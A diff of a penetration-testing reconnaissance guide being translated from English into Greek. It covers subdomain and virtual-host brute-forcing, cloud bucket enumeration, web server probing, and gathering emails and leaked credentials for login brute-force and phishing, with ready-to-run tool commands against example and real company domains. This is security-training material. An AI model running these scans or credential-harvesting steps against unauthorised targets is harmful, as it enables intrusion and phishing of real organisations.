[https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Μπορείτε να βρείτε μια **σύγκριση** πολλών από αυτά τα εργαλεία εδώ: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS Brute force** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** κάνοντας brute-force στους DNS servers χρησιμοποιώντας πιθανά ονόματα υποτομέων. -For this action you will need some **common subdomains wordlists like**: +Για αυτή την ενέργεια θα χρειαστείτε κάποιες **κοινές λίστες λέξεων υποτομέων όπως**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -394,118 +334,93 @@ For this action you will need some **common subdomains wordlists like**: - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +Και επίσης IPs καλών DNS resolvers. Για να δημιουργήσετε μια λίστα αξιόπιστων DNS resolvers μπορείτε να κατεβάσετε τους resolvers από [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) και να χρησιμοποιήσετε [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) για να τους φιλτράρετε. Ή μπορείτε να χρησιμοποιήσετε: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +Τα πιο συνιστώμενα εργαλεία για DNS brute-force είναι: +- [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που εκτέλεσε αποτελεσματικό DNS brute-force. Είναι πολύ γρήγορο, ωστόσο είναι επιρρεπές σε ψευδώς θετικά αποτελέσματα. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +- [**gobuster**](https://github.com/OJ/gobuster): Αυτό νομίζω ότι χρησιμοποιεί μόνο 1 resolver ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό brute force, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +- [**puredns**](https://github.com/d3mondev/puredns): Χρησιμοποιεί επίσης το `massdns`. ``` puredns bruteforce all.txt domain.com ``` - -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να κάνει brute force ονόματα τομέα ασύγχρονα. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### Δεύτερος Γύρος Brute-Force DNS -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +Αφού βρείτε υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των υποτομέων που βρήκατε για να προσπαθήσετε να βρείτε ακόμη περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό: +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δίνοντας τους τομείς και τους υποτομείς, δημιουργεί παραλλαγές. ```bash cat subdomains.txt | dnsgen - ``` - -- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +- [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των τομέων και υποτομέων, δημιουργεί παραλλαγές. +- Μπορείτε να αποκτήσετε τις παραλλαγές goaltdns **wordlist** [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +- [**gotator**](https://github.com/Josue87/gotator)**:** Δίνοντας τα domains και subdomains, δημιουργεί παραλλαγές. Αν δεν υποδειχθεί αρχείο παραλλαγών, το gotator θα χρησιμοποιήσει το δικό του. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +- [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερα να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν). +- Μπορείτε να αποκτήσετε τις παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +- [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card). +- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς. -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### Δημιουργία έξυπνων παραλλαγών +- [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο brute-force για υποτομείς που συνδυάζεται με έναν εξαιρετικά απλό αλλά αποτελεσματικό αλγόριθμο καθοδηγούμενο από την απάντηση DNS. Χρησιμοποιεί ένα παρεχόμενο σύνολο δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει με ακρίβεια περισσότερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμη περισσότερο σε έναν βρόχο με βάση τις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS. ``` echo www | subzuf facebook.com ``` +### **Ροή Εργασίας Ανακάλυψης Υποτομέων** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +Δείτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} -### **VHosts / Virtual Hosts** +### **VHosts / Εικονικοί Φιλοξενούμενοι** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή τη διεύθυνση IP** αναζητώντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτή τη διεύθυνση IP**. #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλες APIs**. **Brute Force** -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: - +Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένο σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να το brute force: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -519,207 +434,196 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - > [!NOTE] -> With this technique you may even be able to access internal/hidden endpoints. +> Με αυτή την τεχνική μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε εσωτερικά/κρυφά endpoints. ### **CORS Brute Force** -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. - +Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο την κεφαλίδα _**Access-Control-Allow-Origin**_ όταν έχει οριστεί ένα έγκυρο domain/subdomain στην κεφαλίδα _**Origin**_. Σε αυτές τις περιπτώσεις, μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **ανακαλύψετε** νέα **subdomains**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` - ### **Buckets Brute Force** -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες bucket και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/). ### **Monitorization** -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)το οποίο το κάνει. ### **Looking for vulnerabilities** -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Ελέγξτε για πιθανές [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/). -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ +&#xNAN;_Note ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, προσέξτε._ ## IPs -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** +Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες περιοχές IP, domains και subdomains**.\ +Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις περιοχές** και για τα **domains/subdomains (DNS queries).** -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Χρησιμοποιώντας υπηρεσίες από τις παρακάτω **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από domains και subdomains**. Αυτές οι IPs μπορεί να ανήκουν ακόμα στον πελάτη (και μπορεί να σας επιτρέψουν να βρείτε [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +Μπορείτε επίσης να ελέγξετε για domains που δείχνουν σε μια συγκεκριμένη διεύθυνση IP χρησιμοποιώντας το εργαλείο [**hakip2host**](https://github.com/hakluke/hakip2host) ### **Looking for vulnerabilities** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**Σαρώστε όλες τις IPs που δεν ανήκουν σε CDNs** (καθώς είναι πολύ πιθανό να μην βρείτε τίποτα ενδιαφέρον εκεί). Στις υπηρεσίες που ανακαλύφθηκαν μπορεί να είστε **σε θέση να βρείτε ευπάθειες**. -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**Βρείτε έναν** [**οδηγό**](../pentesting-network/) **για το πώς να σαρώσετε hosts.** ## Web servers hunting -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> Έχουμε βρει όλες τις εταιρείες και τα assets τους και γνωρίζουμε περιοχές IP, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers. -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο. -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο). +Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/#http-port-discovery).\ +Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **Στιγμιότυπα** -### **Screenshots** +Τώρα που έχετε ανακαλύψει **όλους τους web servers** που υπάρχουν στο πεδίο (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**. -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι. -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## Δημόσια Περιουσιακά Στοιχεία Cloud -## Public Cloud Assets +Για να βρείτε πιθανά περιουσιακά στοιχεία cloud που ανήκουν σε μια εταιρεία θα πρέπει να **ξεκινήσετε με μια λίστα λέξεων-κλειδιών που προσδιορίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια κρυπτονομισματική εταιρεία μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "", <"subdomain_names">`. -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +Θα χρειαστείτε επίσης λίστες λέξεων με **κοινές λέξεις που χρησιμοποιούνται σε buckets**: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +Στη συνέχεια, με αυτές τις λέξεις θα πρέπει να δημιουργήσετε **παραλλαγές** (δείτε το [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) για περισσότερες πληροφορίες). -With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Με τις προκύπτουσες λίστες λέξεων μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +Θυμηθείτε ότι όταν ψάχνετε για περιουσιακά στοιχεία Cloud θα πρέπει να **ψάχνετε για περισσότερα από απλά buckets σε AWS**. -### **Looking for vulnerabilities** +### **Αναζητώντας ευπάθειες** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκτεθειμένες cloud functions** θα πρέπει να **τα αποκτήσετε πρόσβαση** και να δείτε τι σας προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε. ## Emails -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +Με τα **domains** και **subdomains** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να ξεκινήσετε την αναζήτηση για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας: -- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -- API of [**https://hunter.io/**](https://hunter.io/) (free version) -- API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -- API of [**https://minelead.io/**](https://minelead.io/) (free version) +- [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs +- API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση) +- API του [**https://app.snov.io/**](https://app.snov.io/) (δωρεάν έκδοση) +- API του [**https://minelead.io/**](https://minelead.io/) (δωρεάν έκδοση) -### **Looking for vulnerabilities** +### **Αναζητώντας ευπάθειες** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +Τα emails θα σας φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing. -## Credential Leaks +## Διαρροές Διαπιστευτηρίων -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +Με τα **domains,** **subdomains**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **Αναζητώντας ευπάθειες** -If you find **valid leaked** credentials, this is a very easy win. +Αν βρείτε **έγκυρα διαρρεύσαντα** διαπιστευτήρια, αυτό είναι μια πολύ εύκολη νίκη. -## Secrets Leaks +## Διαρροές Μυστικών -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +Οι διαρροές διαπιστευτηρίων σχετίζονται με επιθέσεις σε εταιρείες όπου **ευαίσθητες πληροφορίες διαρρεύσαν και πωλήθηκαν**. Ωστόσο, οι εταιρείες μπορεί να επηρεαστούν από **άλλες διαρροές** των οποίων οι πληροφορίες δεν είναι σε αυτές τις βάσεις δεδομένων: -### Github Leaks +### Διαρροές Github -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\ +Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) αυτόματα σε αυτές. -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**. #### Github Dorks -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε: {{#ref}} github-leaked-secrets.md {{#endref}} -### Pastes Leaks +### Διαρροές Pastes -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\ +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα. ### Google Dorks -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them 